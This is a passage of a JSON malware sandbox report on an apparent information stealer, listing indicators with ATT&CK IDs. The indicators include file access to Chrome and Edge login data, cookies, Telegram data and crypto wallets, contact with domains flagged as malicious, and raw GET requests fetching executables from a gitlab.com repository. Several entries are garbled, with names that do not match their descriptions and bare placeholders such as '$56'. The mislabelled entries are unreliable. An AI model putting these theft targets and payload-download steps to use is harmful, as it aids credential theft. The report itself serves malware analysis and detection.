Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00008176-00000C2C-1104022698\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00008176-00000C2C-1104023169\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001312-00000C2C-1114092524\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001696-00000C2C-1143638143\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001696.00000001.140420.00A31000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001312-00000C2C-1116546530\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001312.00000000.136843.03E12000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetEnvironmentStringsW\" in file \"aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin\"\n Found system information discovery API: \"GetUserObjectInformationA\" in file \"00000000-00004832.00000001.138723.4076B000.00000020.mdmp\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in \"00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp\"\n Found system information discovery API: \"GetMonitorInfoW\" in \"00000000-00001312.00000000.136843.06900000.00000004.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00001696.00000001.140420.00A31000.00000002.mdmp, 00000000-00001696.00000001.140420.6E991000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00001696.00000001.140420.00A31000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00001696.00000001.140420.00A31000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00001696-00000C2C-1141333689\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00001696-00000C2C-1141333718\")\n Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00000032.00000000.136893.02C00000.00000004.mdmp, 00000000-00000032.00000001.138810.02C00000.00000004.mdmp, 00000000-00000032.00000002.140730.02C00000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00001312.00000000.136843.03E00000.00000004.mdmp, 00000000-00001312.00000001.137559.03E00000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"\" (Indicator: \"password\"; Source: \"00000000-00001696.00000001.140420.03190000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to keylogger","description":"Found string \"l\" (Indicator: \"\"; File: \"aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-556","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"34DE06929391.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"ect TotalPhysicalMemory from Win32_ComputerSystem\" (Indicator: \" Win32_ComputerSystem\"; Source: \"00000000-00001312.00000001.137559.03E2B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"System Security","name":"Able to access control system service controller","description":"Found string \"System.ServiceProcess.ServiceController\" (Source: \"00000000-00001696.00000000.138500.00A21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-936","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin\")\n Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00008176-00000C2C-1103635278\")\n Found string \"OpenProcessTokenW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001696-00000C2C-1140386371\")\n Found string \"OpenProcessW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001696-00000C2C-1140386787\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001696)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: svchost.exe]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00000032.00000000.136893.02C29000.00000004.mdmp, 00000000-00000032.00000001.138810.02C29000.00000004.mdmp, 00000000-00000032.00000002.140730.02C29000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00001312.00000001.137559.03E2B000.00000004.mdmp\")\n Found string \"\\Device\\Harddi\" (Indicator: \"\\Device\\\"; Source: \"00000000-00001312.00000001.137559.03E2B000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00001696.00000001.140420.03190000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify Windows Defender preferences (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-275","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00001696-00000C2C-1173185179","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001696.00000001.140420.00A31000.00000002.mdmp, 00000000-00001696.00000001.140420.6E991000.00000002.mdmp, 00000000-00001696.00000001.140420.70A15000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"34DE06929391.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"svchost.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"dwm.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\" www.upx.sourceforge.net\"\n \"svchost.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"\" (Indicator: \"LogonTrigger\"; Source: \"00000000-00001312.00000001.137559.03E2B000.00000004.mdmp\")\n Found string \"\" (Indicator: \"LogonTrigger\"; Source: \"00000000-00001312.00000001.137559.03E2B000.00000004.mdmp, 00000000-00001312.00000001.137559.06000000.00000004.mdmp\")\n Found string \"LogonTrigger>2008-06-22T12:00:00true\" (Indicator: \"LogonTrigger\"; Source: \"00000000-00001696.00000001.140420.0326A000.00000004.mdmp\")\n Found string \"!-- SetLogonTrigger -->\" (Indicator: \"LogonTrigger\"; Source: \"00000000-00001696.00000001.140420.08DC0000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"LogonTrigger\"; Source: \"00000000-00001696.00000001.140420.08DC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1053","relevance":5,"id":"string-32","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"svchost.exe\" loaded module \"%WINDIR%\\SysWOW64\\taskschd.dll\" at 73330000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$5e","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"pepgauge.com\" has been identified as malicious\n Contacted Domain: \"pegasustour.ru\" has been identified as malicious\n Contacted Domain: \"vilonity.tech\" has been identified as malicious\n Contacted Domain: \"egepefr.ru\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"malicious","category":"Network Related","name":"GETs executable from a webserver (HTTPS)","description":"GET /webrat1/importantfiles/-/raw/main/7z.dll HTTP/1.1\nHost: gitlab.com\nConnection: Keep-Alive\n\n GET /webrat1/importantfiles/-/raw/main/7z.exe HTTP/1.1\n\n GET /webrat1/importantfiles/-/raw/main/MSTSCLib.dll HTTP/1.1\n\n GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll HTTP/1.1\n\n GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe HTTP/1.1\n","origin":"Network Traffic","mitre_attack_id":"T1105","relevance":5,"id":"network-74","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Checks for files associated with bitcoin mining software","description":"\"dwm.exe\" opened file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\BYTECOIN\"\n \"dwm.exe\" opened file \"%APPDATA%\\BYTECOIN\"","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-46","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser login credentials (file access)","description":"\"dwm.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"dwm.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data\"\n \"dwm.exe\" trying to open a file \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"dwm.exe\" trying to open a file \"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data\"","origin":"API Call","mitre_attack_id":"T1555.003","relevance":10,"id":"api-281","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Attempts to steal desktop application's information (file access)","description":"dwm.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Roaming\\TELEGRAM DESKTOP\\TDATA related to Telegram\n dwm.exe trying to open a file %APPDATA%\\TELEGRAM DESKTOP\\TDATA related to Telegram","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-97","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Observed sensitive data harvesting behavior","description":"Identified stealer based malicious activity","origin":"Indicator Combinations","relevance":7,"id":"summary-46","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Crypto currency wallets information (file access)","description":"$5f","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-101","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"\"dwm.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\WEB DATA\"\n \"dwm.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Local State\"\n \"dwm.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Last Browser\"\n \"dwm.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies\"\n \"dwm.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"dwm.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"6994d5cfdad6ee83a90479ba"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"